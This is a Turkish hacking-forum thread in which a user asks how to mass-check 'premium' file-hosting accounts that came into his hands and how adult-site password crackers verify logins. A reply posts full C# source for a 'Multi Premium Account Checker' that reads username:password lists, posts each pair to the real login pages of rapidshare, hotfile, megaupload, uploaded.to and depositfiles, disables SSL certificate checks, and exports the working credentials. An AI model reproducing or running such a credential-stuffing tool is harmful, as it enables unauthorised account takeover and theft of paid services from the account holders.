folder Tahribat.com Forumları
linefolder Visual Basic - Basic - PicBasic ve Türevleri
linefolder Visual Basic De Account Checker Nasıl Yapılır



Visual Basic De Account Checker Nasıl Yapılır

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Explosive
    Explosive's avatar
    Banlanmış Üye
    Kayıt Tarihi: 06/Temmuz/2010
    Erkek

    Merhaba arkadaşlar elime geçen premiumları ( hotfile,fileserve,turbobit) tek tek kontrol etmek çok zor oluyor  ufak bir programla bunu daha pratik hale getirebilirmiyim  acaba  liste halinde programa yazıcam patır patır kontrol edicek programda  nasıl yapılabilir önerilerinizi bekliyorum

     

     

    VB6 Kullanıyorum Bu Arada

    Şu Tarz Birşey

    http://www.youtube.com/watch?v=6KSNuHf6pzg


  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Explosive
    Explosive's avatar
    Banlanmış Üye
    Kayıt Tarihi: 06/Temmuz/2010
    Erkek

    yada hazır bir program varmı  bu adult şifre kıranlar nasıl check ediyor yaw metod söyleyin :D


  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Twitter
    Twitter's avatar
    Kayıt Tarihi: 13/Ekim/2007
    Erkek

    mürit hackinger in kendisine sorsak daha iyi olur kanımca :) 

    takipçisiyim 

    http://www.tahribat.com/Murit-h4ckinger/


    Tbt Dersimliler Derneği Başkanı :)
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Explosive
    Explosive's avatar
    Banlanmış Üye
    Kayıt Tarihi: 06/Temmuz/2010
    Erkek

    Twitter bunu yazdı:
    -----------------------------

    mürit hackinger in kendisine sorsak daha iyi olur kanımca :) 

    takipçisiyim 

    http://www.tahribat.com/Murit-h4ckinger/


    -----------------------------

     

    pm attım bakalım onada  zor birşey oldugunu sanmıyorum :S


  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    angels_demos
    angels_demos's avatar
    Kayıt Tarihi: 03/Haziran/2006
    Erkek

    e nette online birçok uygulama var zaten. bazı indirme yöneticilerinde de var

  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Explosive
    Explosive's avatar
    Banlanmış Üye
    Kayıt Tarihi: 06/Temmuz/2010
    Erkek

    angels_demos bunu yazdı:
    -----------------------------

    e nette online birçok uygulama var zaten. bazı indirme yöneticilerinde de var


    -----------------------------

    tek üyelik değil 100 tane hesap bı seçşçem budeniyicek premiumsa premium yazcak fre se free


  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    risperdal
    risperdal's avatar
    Kayıt Tarihi: 13/Haziran/2006
    Erkek

    Listeyi belli bir formatta almalısın. Örneğin:

     

     

    username:password
    username2:password

    Satır satır okuyup ":" işaretinden parçalara ayırmalısın.

    Daha sonra normal login oluyormuş gibi ilgili sayfaya post atarak dönen cevaba göre çalışıyor veya çalışmıyor şeklinde bildirim yapabilirsin.

    Tabi bu söylediklerim teoride 5 satır sürüyor.

    Eğer videodaki program hala çalışıyor olsaydı atabilirdim ama sitelerin yaptığı değişikliklerden ötürü artık çalışabilir durumda değil program.

    Fikir vermesi açısından programda kullandığım temel fonksiyonları vereyim.

     

     

    using System;
    
    using System.ComponentModel;
    
    using System.Text;
    
    using System.Windows.Forms;
    
    using System.Net;//request
    
    using System.IO; //stream
    
    
    
    namespace premiumchecker
    
    {
    
    
    
        public partial class Form1 : Form
    
        {
    
            public Form1()
    
            {
    
                InitializeComponent();
    
            }
    
    
    
            public int premiumadet = 0;
    
            #region urlencode
    
            private string urlencode(string str) 
    
            {
    
                return System.Web.HttpUtility.UrlEncode(str);
    
            }
    
            #endregion
    
    
    
            #region request via post
    
            public string request(string url,string referer,string postdata,bool ssl, string giden_cookie,out string gelen_cookie)
    
            {
    
                string sonuc;
    
                gelen_cookie = "";
    
                HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create(url);
    
                WebReq.Credentials = CredentialCache.DefaultCredentials;
    
                if (ssl)
    
                {
    
                    ServicePointManager.ServerCertificateValidationCallback = ((sender, certificate, chain, sslPolicyErrors) => true);//ssl
    
                }
    
                System.Net.ServicePointManager.Expect100Continue = false;
    
                WebReq.AllowAutoRedirect = true;
    
                byte[] buffer = Encoding.ASCII.GetBytes(postdata);
    
                WebReq.Method = "POST";
    
                WebReq.Referer = referer;
    
                WebReq.Timeout = 15000;
    
                WebReq.Headers.Add("Cookie", giden_cookie);
    
                WebReq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4";
    
                WebReq.ContentType = "application/x-www-form-urlencoded";
    
                WebReq.ContentLength = buffer.Length;
    
                Stream PostData = WebReq.GetRequestStream();
    
                PostData.Write(buffer, 0, buffer.Length);
    
                PostData.Close();
    
                try
    
                {
    
                    WebResponse webResponse = WebReq.GetResponse();
    
                    StreamReader sr = new StreamReader(webResponse.GetResponseStream());
    
                    sonuc = sr.ReadToEnd();
    
                    gelen_cookie = webResponse.Headers["Set-cookie"];
    
                }
    
                catch (TimeoutException ex) 
    
                {
    
    
    
                    sonuc = "timeout";
    
                
    
                }
    
                
    
                return sonuc;
    
            }
    
            #endregion
    
    
    
            #region rapidshare kontrol
    
    
    
            public bool rapidshare_kontrol(string user,string pass)
    
            {
    
                string url      = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi";
    
                string postdata = "uselandingpage=1&login="+user+"&password="+pass;
    
                string referer = "http://www.rapidshare.com";
    
                string cookie;
    
                bool ssl = true;
    
                string ac=request(url, referer, postdata, ssl,"",out cookie);
    
                return (ac.Contains("has not been found") || ac.Contains("password is incorrect") || ac.Contains("Invalid login") || ac.Contains("Invalid password")) ? false : true;
    
            }
    
    
    
            #endregion
    
    
    
            #region rapidshare baslat
    
    
    
            private void rapidshare_baslat() 
    
            {
    
    
    
                foreach (ListViewItem lvi in listView1.Items)
    
                {
    
                    if (backgroundWorker2.CancellationPending)
    
                        break;
    
    
    
                    string user = urlencode(lvi.SubItems[1].Text);
    
                    string pass = urlencode(lvi.SubItems[2].Text);
    
    
    
                    if (user == "" || pass == "") 
    
                    {
    
                        this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[3], "Missing param.." });
    
                        this.Invoke(new progress_artircb(progress_artir));
    
                        continue;
    
                    }
    
    
    
                    bool durum = rapidshare_kontrol(user, pass);
    
                    this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[3], durum ? "Working" : "Patlak" });
    
                    this.Invoke(new progress_artircb(progress_artir));
    
    
    
    
    
                }
    
            }
    
    
    
            #endregion
    
    
    
            #region hotfile kontrol
    
    
    
            public bool hotfile_kontrol(string user, string pass)
    
            {
    
                string url = "http://new.hotfile.com/login.php?lang=en";
    
                string postdata = "returnto=%2F&user="+user+"&pass="+pass;
    
                string referer = "http://hotfile.com/login.php?cookiecheck=1";
    
                string cookie;
    
                bool ssl = false;
    
                string ac = request(url, referer, postdata, ssl,"",out cookie);
    
                return (ac.Contains("Bad username/password") || ac.Contains("Renew account")) ? false : true;
    
            }
    
    
    
            #endregion
    
    
    
            #region hotfile baslat
    
    
    
            private void hotfile_baslat()
    
            {
    
                foreach (ListViewItem lvi in listView1.Items)
    
                {
    
                    if (backgroundWorker3.CancellationPending)
    
                        break;
    
    
    
                    string user = urlencode(lvi.SubItems[1].Text);
    
                    string pass = urlencode(lvi.SubItems[2].Text);
    
    
    
                    if (user == "" || pass == "")
    
                    {
    
                        this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[4], "Missing param.." });
    
                        this.Invoke(new progress_artircb(progress_artir));
    
                        continue;
    
                    }
    
    
    
                    bool durum = hotfile_kontrol(user, pass);               
    
                    this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[4], durum ? "Working" : "patlak" });
    
                    this.Invoke(new progress_artircb(progress_artir));
    
                }
    
            }
    
    
    
            #endregion
    
    
    
            #region megaupload kontrol
    
    
    
            public bool megaupload_kontrol(string user, string pass)
    
            {
    
                string url = "http://www.megaupload.com/?c=account&setlang=en";
    
                string postdata = "login=1&username=" + user + "&password=" + pass;
    
                string referer = "http://www.megaupload.com/?c=login";
    
                string cookie;
    
                bool ssl = false;
    
                string ac = request(url, referer, postdata, ssl,"",out cookie);
    
                return (!ac.Contains("You are a premium member")) ? false : true;
    
            }
    
    
    
            #endregion
    
    
    
            #region megaupload baslat
    
    
    
            private void megaupload_baslat()
    
            {
    
    
    
                foreach (ListViewItem lvi in listView1.Items)
    
                {
    
                    if (backgroundWorker4.CancellationPending)
    
                        break;
    
    
    
                    string user = urlencode(lvi.SubItems[1].Text);
    
                    string pass = urlencode(lvi.SubItems[2].Text);
    
    
    
                    if (user == "" || pass == "")
    
                    {
    
    
    
                        this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[5], "Missing param.." });
    
                        this.Invoke(new progress_artircb(progress_artir));
    
                        continue;
    
                    }
    
    
    
    
    
                    bool durum = megaupload_kontrol(user, pass);
    
    
    
                    this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[5], durum ? "Working" : "patlak" });
    
                    this.Invoke(new progress_artircb(progress_artir));
    
                }
    
            }
    
    
    
            #endregion
    
    
    
            #region uploaded kontrol
    
    
    
            public bool uploaded_kontrol(string user, string pass)
    
            {
    
                string url = "http://uploaded.to/login";
    
                string postdata = "email=" + user + "&password=" + pass;
    
                string referer = "http://uploaded.to";
    
                string cookie;
    
                bool ssl = false;
    
                string ac = request(url, referer, postdata, ssl,"",out cookie);
    
                return (ac.Contains("Login failed!")) ? false : true;
    
            }
    
    
    
            #endregion
    
    
    
            #region uploaded baslat
    
    
    
            private void uploaded_baslat()
    
            {
    
    
    
                foreach (ListViewItem lvi in listView1.Items)
    
                {
    
                    if (backgroundWorker5.CancellationPending)
    
                        break;
    
    
    
                    string user = urlencode(lvi.SubItems[1].Text);
    
                    string pass = urlencode(lvi.SubItems[2].Text);
    
    
    
    
    
                    if (user == "" || pass == "")
    
                    {
    
    
    
                        this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[6], "Missing param.." });
    
                        this.Invoke(new progress_artircb(progress_artir));
    
                        continue;
    
                    }
    
    
    
                    bool durum = uploaded_kontrol(user, pass);
    
    
    
                    this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[6], durum ? "Working" : "patlak" });
    
                    this.Invoke(new progress_artircb(progress_artir));
    
                }
    
            }
    
    
    
            #endregion
    
    
    
            #region depositfiles kontrol
    
    
    
            public bool depositfiles_kontrol(string user, string pass)
    
            {
    
                string url = "http://depositfiles.com/en/login.php?return=%2Fen%2F";
    
                string postdata = "go=1&login=" + user + "&password=" + pass;
    
                string referer = "http://depositfiles.com/en/";
    
                string cookie;
    
                bool ssl = false;
    
                string ac = request(url, referer, postdata, ssl,"",out cookie);
    
                return (ac.Contains("login is incorrect") || !ac.Contains("Redirecting... If browser do not redirect you automaticaly")) ? false : true;
    
            }
    
    
    
            #endregion
    
    
    
            #region depositfiles baslat
    
    
    
            private void depositfiles_baslat()
    
            {
    
    
    
                foreach (ListViewItem lvi in listView1.Items)
    
                {
    
                    if (backgroundWorker6.CancellationPending)
    
                        break;
    
    
    
                    string user = urlencode(lvi.SubItems[1].Text);
    
                    string pass = urlencode(lvi.SubItems[2].Text);
    
    
    
                    if (user == "" || pass == "")
    
                    {
    
                        this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[7], "Missing param.." });
    
                        this.Invoke(new progress_artircb(progress_artir));
    
                        continue;
    
                    }
    
    
    
                    bool durum = depositfiles_kontrol(user, pass);
    
                    this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[7], durum ? "Working" : "patlak" });
    
                    this.Invoke(new progress_artircb(progress_artir));
    
                }
    
            }
    
    
    
            #endregion
    
    
    
            #region baslat
    
            private void baslat()
    
            {
    
                premiumadet = 0;
    
    
    
                int carp = 0;
    
                if (rapidsharecomToolStripMenuItem.Checked && !backgroundWorker2.IsBusy)
    
                {
    
                    backgroundWorker2.RunWorkerAsync();
    
                    carp++;            
    
                }
    
                if (hotfilecomToolStripMenuItem.Checked && !backgroundWorker3.IsBusy)
    
                {
    
                    backgroundWorker3.RunWorkerAsync();
    
                    carp++;
    
                }
    
                if (megauploadcomToolStripMenuItem.Checked && !backgroundWorker4.IsBusy)
    
                {
    
                    backgroundWorker4.RunWorkerAsync();
    
                    carp++;
    
                }
    
                if (uploadedtoToolStripMenuItem.Checked && !backgroundWorker5.IsBusy)
    
                {
    
                    backgroundWorker5.RunWorkerAsync();
    
                    carp++;
    
                }
    
                if (depositfilescomToolStripMenuItem.Checked && !backgroundWorker6.IsBusy)
    
                {
    
                    backgroundWorker6.RunWorkerAsync();
    
                    carp++;
    
                }
    
                toolStripProgressBar1.Maximum = listView1.Items.Count * carp;
    
            }
    
            #endregion
    
    
    
            #region stop
    
            private void stop() 
    
            {
    
                backgroundWorker2.CancelAsync();
    
                backgroundWorker3.CancelAsync();
    
                backgroundWorker4.CancelAsync();
    
                backgroundWorker5.CancelAsync();
    
                backgroundWorker6.CancelAsync();
    
            }
    
            #endregion
    
    
    
            #region listeyukle
    
            private void listeyukle(string dosya) 
    
            {
    
                int sayac = 0;
    
                string satir;
    
                StreamReader oku = new StreamReader(dosya);
    
                while ((satir = oku.ReadLine()) != null)
    
                {
    
                    sayac++;                
    
    
    
                    setstatuscb cb = new setstatuscb(setstatus);
    
                    this.Invoke(cb, new object[] { "Loaded : " + sayac.ToString() });
    
    
    
                    string[] user_pass = satir.Trim().Split(':');
    
    
    
                    ListViewItem lvi = new ListViewItem(new string[] { sayac.ToString(), user_pass[0],user_pass[1],"","","","",""});
    
                    listView1.Items.Add(lvi);
    
                    
    
                    
    
                }
    
                oku.Close();
    
            }
    
            #endregion
    
    
    
            #region export
    
    
    
            private void export() 
    
            {
    
                string dosyaismi = toolStripComboBox1.Text;
    
                SaveFileDialog dlg = new SaveFileDialog();
    
                dlg.Title = "Save " + dosyaismi + " premium accounts";
    
                dlg.FileName = dosyaismi + ".txt";
    
                if (dlg.ShowDialog() == DialogResult.OK)
    
                {
    
    
    
                    int sub = toolStripComboBox1.SelectedIndex + 2;
    
                    
    
    
    
                    if (sub == 2) //hepsi
    
                    {
    
                        FileInfo dosya = new FileInfo(dlg.FileName);
    
                        StreamWriter yazici = dosya.CreateText();
    
    
    
                        foreach (ListViewItem lvi in listView1.Items)
    
                        {
    
                            for (int i = 3; i <= lvi.SubItems.Count-1; i++)
    
                            {
    
                                if (lvi.SubItems[i].Text == "Working")
    
                                {
    
                                    string user = lvi.SubItems[1].Text;
    
                                    string pass = lvi.SubItems[2].Text;
    
                                    yazici.WriteLine(listView1.Columns[i].Text + " Premium - " + user + ":" + pass);
    
                                }
    
                            }
    
                        }
    
                        yazici.Close();
    
                        MessageBox.Show("Exporting finished", "finished", MessageBoxButtons.OK, MessageBoxIcon.Information);
    
                    }
    
    
    
                    else //seçili olan
    
                    {
    
                        FileInfo dosya = new FileInfo(dlg.FileName);
    
                        StreamWriter yazici = dosya.CreateText();
    
    
    
                        foreach (ListViewItem lvi in listView1.Items)
    
                        {
    
                            if (lvi.SubItems[sub].Text == "Working")
    
                            {
    
                                string user = lvi.SubItems[1].Text;
    
                                string pass = lvi.SubItems[2].Text;
    
                                yazici.WriteLine(user + ":" + pass);
    
                            }
    
                        }
    
                        yazici.Close();
    
                        MessageBox.Show("Exporting finished", "finished", MessageBoxButtons.OK, MessageBoxIcon.Information);
    
                    }
    
                }
    
            }
    
    
    
            #endregion
    
    
    
            #region delegatetoolstrip
    
    
    
            delegate void setstatuscb(string text);
    
            private void setstatus(string text)
    
            {
    
                toolStripStatusLabel1.Text = text;
    
            }
    
    
    
            #endregion
    
    
    
            #region delegaprogress
    
    
    
            delegate void progress_artircb();
    
            private void progress_artir()
    
            {
    
                toolStripProgressBar1.Value++;
    
                toolStripStatusLabel1.Text = "Request no:" + toolStripProgressBar1.Value;
    
            }
    
    
    
            #endregion
    
    
    
            #region delegate sub item
    
            
    
            delegate void setstatussubitemcb(ListViewItem.ListViewSubItem item,string text);
    
            private void setstatussubitem(ListViewItem.ListViewSubItem item,string text)
    
            {
    
                if(text=="Working")
    
                {
    
                    premiumadet++;
    
                    toolStripStatusLabel2.Text = "Found:" + premiumadet.ToString();
    
                }
    
                item.Text = text;
    
            }
    
    
    
    
    
            #endregion
    
    
    
            private void closeToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                //test yapmışım
    
                //MessageBox.Show(megaupload_kontrol("kid_123", "7&agu4U=Ak").ToString());
    
                Application.Exit();
    
            }
    
    
    
            private void loadToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
    
    
                OpenFileDialog dlg = new OpenFileDialog();
    
                dlg.Title = "Select username password list";
    
                if (dlg.ShowDialog() == DialogResult.OK)
    
                {
    
                    listView1.Items.Clear();
    
                    backgroundWorker1.RunWorkerAsync(dlg.FileName);
    
                }
    
            }
    
    
    
            private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
    
            {
    
                listeyukle((string)e.Argument);
    
            }
    
    
    
            private void startToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                baslat();
    
            }
    
    
    
            private void backgroundWorker2_DoWork(object sender, DoWorkEventArgs e)
    
            {
    
                rapidshare_baslat();
    
            }
    
    
    
            private void backgroundWorker3_DoWork(object sender, DoWorkEventArgs e)
    
            {
    
                hotfile_baslat();
    
            }
    
    
    
            private void backgroundWorker4_DoWork(object sender, DoWorkEventArgs e)
    
            {
    
                megaupload_baslat();
    
            }
    
    
    
            private void backgroundWorker5_DoWork(object sender, DoWorkEventArgs e)
    
            {
    
                uploaded_baslat();
    
            }
    
    
    
            private void backgroundWorker6_DoWork(object sender, DoWorkEventArgs e)
    
            {
    
                depositfiles_baslat();
    
            }
    
    
    
            private void stopToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                stop();
    
            }
    
    
    
            private void Form1_Load(object sender, EventArgs e)
    
            {
    
                toolStripComboBox1.SelectedIndex = 0;
    
            }
    
    
    
            private void exportToolStripMenuItem1_Click(object sender, EventArgs e)
    
            {
    
                export();
    
            }
    
    
    
            private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)
    
            {
    
                e.Cancel = (listView1.Items.Count == 0);
    
            }
    
    
    
            private void userToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                Clipboard.SetText(listView1.SelectedItems[0].SubItems[1].Text);//username
    
            }
    
    
    
            private void passwordToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                Clipboard.SetText(listView1.SelectedItems[0].SubItems[2].Text);//password
    
            }
    
    
    
            private void userpassToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                Clipboard.SetText(listView1.SelectedItems[0].SubItems[1].Text +":"+ listView1.SelectedItems[0].SubItems[2].Text);
    
            }
    
    
    
            private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
    
            {
    
                MessageBox.Show("Multi Premium Account Checker\r\nCoded by h4ckinger\r\nhttp://www.h4ckinger.org\r\n", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
    
            }
    
    
    
    
    
    
    
    
    
        }
    
    }

     


    Özgür iradeydi şeytanım.
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Homer
    Homer's avatar
    Kayıt Tarihi: 08/Temmuz/2007
    Erkek

    çömert müridimiz

Toplam Hit: 2682 Toplam Mesaj: 8